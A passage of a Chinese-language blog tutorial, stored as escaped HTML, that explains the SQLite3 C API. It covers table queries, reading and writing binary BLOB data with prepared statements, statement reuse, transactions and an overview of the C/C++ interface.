class=\"type\"\u003echar\u003c/span\u003e **dbResult; \u003cspan class=\"comment\"\u003e//是 char ** 类型,两个*号\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e nRow, nColumn;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e i , j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e index;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   result = sqlite3_open( “c:\u003cspan class=\"comment\"\u003e//Dcg_database.db”, \u0026amp;db );\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"comment\"\u003e//数据库打开失败\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//数据库操作代码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//假设前面已经创建了 MyTable_1 表\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//开始查询,传入的 dbResult 已经是 char **,这里又加了一个 \u0026amp; 取地址符,传递进去的就成了 char ***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   result = sqlite3_get_table( db, “select * from MyTable_1”, \u0026amp;dbResult, \u0026amp;nRow, \u0026amp;nColumn, \u0026amp;errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( SQLITE_OK == result )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"comment\"\u003e//查询成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        index = nColumn; \u003cspan class=\"comment\"\u003e//前面说过 dbResult 前面第一行数据是字段名称,从 nColumn 索引开始才是真正的数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “查到%d条记录/n”, nRow );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(  i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; nRow ; i++ )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “第 %d 条记录/n”, i+\u003cspan class=\"number\"\u003e1\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e( j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e ; j \u0026lt; nColumn; j++ )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e                  \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “字段名:%s  ß\u0026gt; 字段值:%s/n”,  dbResult[j], dbResult [index] );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e                  ++index; \u003cspan class=\"comment\"\u003e// dbResult 的字段值是连续的,从第0索引到第 nColumn - 1索引都是字段名称,从第 nColumn 索引开始,后面都是字段值,它把一个二维的表(传统的行列表示法)用一个扁平的形式来表示\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e             \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “-------/n” );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//到这里,不论数据库查询是否成功,都释放 char** 查询结果,使用 sqlite 提供的功能来释放\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   sqlite3_free_table( dbResult );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//关闭数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   sqlite3_close( db );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e到这个例子为止,sqlite3 的常用用法都介绍完了。\u003c/p\u003e\u003cp\u003e用以上的方法,再配上 sql 语句,完全可以应付绝大多数数据库需求。\u003c/p\u003e\u003cp\u003e但有一种情况,用上面方法是无法实现的:需要insert、select 二进制。当需要处理二进制数据时,上面的方法就没办法做到。下面这一节说明如何插入二进制数据\u003c/p\u003e\u003cp\u003e3 操作二进制\u003c/p\u003e\u003cp\u003esqlite 操作二进制数据需要用一个辅助的数据类型:sqlite3_stmt * 。\u003c/p\u003e\u003cp\u003e这个数据类型记录了一个“sql语句”。为什么我把 “sql语句” 用双引号引起来?因为你可以把 sqlite3_stmt * 所表示的内容看成是 sql语句,但是实际上它不是我们所熟知的sql语句。它是一个已经把sql语句解析了的、用sqlite自己标记记录的内部数据结构。\u003c/p\u003e\u003cp\u003e正因为这个结构已经被解析了,所以你可以往这个语句里插入二进制数据。当然,把二进制数据插到 sqlite3_stmt 结构里可不能直接 memcpy ,也不能像 std::string 那样用 + 号。必须用 sqlite 提供的函数来插入。\u003c/p\u003e\u003cp\u003e(1)写入二进制\u003c/p\u003e\u003cp\u003e下面说写二进制的步骤。\u003c/p\u003e\u003cp\u003e要插入二进制,前提是这个表的字段的类型是 blob 类型。我假设有这么一张表:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecreate table \u003cspan class=\"title function_\"\u003eTbl_2\u003c/span\u003e\u003cspan class=\"params\"\u003e( ID integer, file_content  blob )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e首先声明\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_stmt * stat;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,把一个 sql 语句解析到 stat 结构里去:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_prepare( db, “insert into Tbl_2( ID, file_content) values( \u003cspan class=\"number\"\u003e10\u003c/span\u003e, ? )”, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u0026amp;stat, \u003cspan class=\"number\"\u003e0\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的函数完成 sql 语句的解析。第一个参数跟前面一样,是个 sqlite3 * 类型变量,第二个参数是一个 sql 语句。\u003c/p\u003e\u003cp\u003e这个 sql 语句特别之处在于 values 里面有个 ? 号。在sqlite3_prepare函数里,?号表示一个未定的值,它的值等下才插入。\u003c/p\u003e\u003cp\u003e第三个参数我写的是-1,这个参数含义是前面 sql 语句的长度。如果小于0,sqlite会自动计算它的长度(把sql语句当成以/0结尾的字符串)。\u003c/p\u003e\u003cp\u003e第四个参数是 sqlite3_stmt 的指针的指针。解析以后的sql语句就放在这个结构里。\u003c/p\u003e\u003cp\u003e第五个参数我也不知道是干什么的。为0就可以了。\u003c/p\u003e\u003cp\u003e如果这个函数执行成功(返回值是 SQLITE_OK 且 stat 不为NULL ),那么下面就可以开始插入二进制数据。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_bind_blob( stat, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, pdata, (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)(length_of_data_in_bytes), \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e ); \u003cspan class=\"comment\"\u003e// pdata为数据缓冲区,length_of_data_in_bytes为数据大小,以字节为单位\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数一共有5个参数。\u003c/p\u003e\u003cp\u003e第1个参数:是前面prepare得到的 sqlite3_stmt * 类型变量。\u003c/p\u003e\u003cp\u003e第2个参数:?号的索引。前面prepare的sql语句里有一个?号,假如有多个?号怎么插入?方法就是改变 bind_blob 函数第2个参数。这个参数我写1,表示这里插入的值要替换 stat 的第一个?号(这里的索引从1开始计数,而非从0开始)。如果你有多个?号,就写多个 bind_blob 语句,并改变它们的第2个参数就替换到不同的?号。如果有?号没有替换,sqlite为它取值null。\u003c/p\u003e\u003cp\u003e第3个参数:二进制数据起始指针。\u003c/p\u003e\u003cp\u003e第4个参数:二进制数据的长度,以字节为单位。\u003c/p\u003e\u003cp\u003e第5个参数:是个析够回调函数,告诉sqlite当把数据处理完后调用此函数来析够你的数据。这个参数我还没有使用过,因此理解也不深刻。但是一般都填NULL,需要释放的内存自己用代码来释放。\u003c/p\u003e\u003cp\u003ebind完了之后,二进制数据就进入了你的“sql语句”里了。你现在可以把它保存到数据库里:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e result = sqlite3_step( stat );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通过这个语句,stat 表示的sql语句就被写到了数据库里。\u003c/p\u003e\u003cp\u003e最后,要把 sqlite3_stmt 结构给释放:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_finalize( stat ); \u003cspan class=\"comment\"\u003e//把刚才分配的内容析构掉\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)读出二进制\u003c/p\u003e\u003cp\u003e下面说读二进制的步骤。\u003c/p\u003e\u003cp\u003e跟前面一样,先声明 sqlite3_stmt * 类型变量:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_stmt * stat;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,把一个 sql 语句解析到 stat 结构里去:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_prepare( db, “select * from Tbl_2”, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e, \u0026amp;stat, \u003cspan class=\"number\"\u003e0\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e当 prepare 成功之后(返回值是 SQLITE_OK ),开始查询数据。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e result = sqlite3_step( stat );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这一句的返回值是SQLITE_ROW 时表示成功(不是 SQLITE_OK )。\u003c/p\u003e\u003cp\u003e你可以循环执行sqlite3_step 函数,一次step查询出一条记录。直到返回值不为 SQLITE_ROW 时表示查询结束。\u003c/p\u003e\u003cp\u003e然后开始获取第一个字段:ID 的值。ID是个整数,用下面这个语句获取它的值:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e id = sqlite3_column_int( stat, \u003cspan class=\"number\"\u003e0\u003c/span\u003e ); \u003cspan class=\"comment\"\u003e//第2个参数表示获取第几个字段内容,从0开始计算,因为我的表的ID字段是第一个字段,因此这里我填0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面开始获取 file_content 的值,因为 file_content 是二进制,因此我需要得到它的指针,还有它的长度:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e * pFileContent = sqlite3_column_blob( stat, \u003cspan class=\"number\"\u003e1\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e len = sqlite3_column_bytes( stat, \u003cspan class=\"number\"\u003e1\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就得到了二进制的值。\u003c/p\u003e\u003cp\u003e把 pFileContent 的内容保存出来之后,不要忘了释放 sqlite3_stmt 结构:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esqlite3_finalize( stat ); \u003cspan class=\"comment\"\u003e//把刚才分配的内容析构掉\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)重复使用 sqlite3_stmt 结构\u003c/p\u003e\u003cp\u003e如果你需要重复使用 sqlite3_prepare 解析好的 sqlite3_stmt 结构,需要用函数: sqlite3_reset。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_reset(stat);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样, stat 结构又成为 sqlite3_prepare 完成时的状态,你可以重新为它 bind 内容。\u003c/p\u003e\u003cp\u003e4 事务处理\u003c/p\u003e\u003cp\u003esqlite 是支持事务处理的。如果你知道你要同步删除很多数据,不仿把它们做成一个统一的事务。\u003c/p\u003e\u003cp\u003e通常一次 sqlite3_exec 就是一次事务,如果你要删除1万条数据,sqlite就做了1万次:开始新事务-\u0026gt;删除一条数据-\u0026gt;提交事务-\u0026gt;开始新事务-\u0026gt;… 的过程。这个操作是很慢的。因为时间都花在了开始事务、提交事务上。\u003c/p\u003e\u003cp\u003e你可以把这些同类操作做成一个事务,这样如果操作错误,还能够回滚事务。\u003c/p\u003e\u003cp\u003e事务的操作没有特别的接口函数,它就是一个普通的 sql 语句而已:\u003c/p\u003e\u003cp\u003e分别如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e result; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, \u003cspan class=\"string\"\u003e\u0026#34;begin transaction\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u0026amp;zErrorMsg ); \u003cspan class=\"comment\"\u003e//开始一个事务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, \u003cspan class=\"string\"\u003e\u0026#34;commit transaction\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u0026amp;zErrorMsg ); \u003cspan class=\"comment\"\u003e//提交事务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, \u003cspan class=\"string\"\u003e\u0026#34;rollback transaction\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u0026amp;zErrorMsg ); \u003cspan class=\"comment\"\u003e//回滚事务\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"四、C-x2F-C-开发接口简介1-总览\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E5%9B%9B%E3%80%81C-x2F-C-%E5%BC%80%E5%8F%91%E6%8E%A5%E5%8F%A3%E7%AE%80%E4%BB%8B1-%E6%80%BB%E8%A7%88\" class=\"headerlink\" title=\"四、C/C++开发接口简介1 总览\"\u003e\u003c/a\u003e四、C/C++开发接口简介1 总览\u003c/h2\u003e\u003cp\u003eSQLite3是SQLite一个全新的版本,它虽然是在SQLite 2.8.13的代码基础之上开发的,但是使用了和之前的版本不兼容的数据库格式和API. SQLite3是为了满足以下的需求而开发的:\u003c/p\u003e\u003cul\u003e\u003cli\u003e支持UTF-16编码.\u003c/li\u003e\u003cli\u003e用户自定义的文本排序方法.\u003c/li\u003e\u003cli\u003e可以对BLOBs字段建立索引.\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e因此为了支持这些特性我改变了数据库的格式,建立了一个与之前版本不兼容的3.0版. 至于其他的兼容性的改变,例如全新的API等等,都将在理论介绍之后向你说明,这样可以使你最快的一次性摆脱兼容性问题.\u003c/p\u003e\u003cp\u003e3.0版的和2.X版的API非常相似,但是有一些重要的改变需要注意. 所有API接口函数和数据结构的前缀都由”sqlite_”改为了”sqlite3_”. 这是为了避免同时使用SQLite 2.X和SQLite 3.0这两个版本的时候发生链接冲突.\u003c/p\u003e\u003cp\u003e由于对于C语言应该用什么数据类型来存放UTF-16编码的字符串并没有一致的规范. 因此SQLite使用了普通的void\u003cem\u003e类型来指向UTF-16编码的字符串. 客户端使用过程中可以把void\u003c/em\u003e映射成适合他们的系统的任何数据类型.\u003c/p\u003e\u003cp\u003e2 C/C++接口\u003c/p\u003e\u003cp\u003eSQLite 3.0一共有83个API函数,此外还有一些数据结构和预定义(#defines). (完整的API介绍请参看另一份文档.) 不过你们可以放心,这些接口使用起来不会像它的数量所暗示的那么复杂. 最简单的程序仍然使用三个函数就可以完成: sqlite3_open(), sqlite3_exec(), 和 sqlite3_close(). 要是想更好的控制数据库引擎的执行,可以使用提供的sqlite3_prepare()函数把SQL语句编译成字节码,然后在使用sqlite3_step()函数来执行编译后的字节码. 以sqlite3_column_开头的一组API函数用来获取查询结果集中的信息. 许多接口函数都是成对出现的,同时有UTF-8和UTF-16两个版本. 并且提供了一组函数用来执行用户自定义的SQL函数和文本排序函数.\u003c/p\u003e\u003cp\u003e(1)如何打开关闭数据库\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan 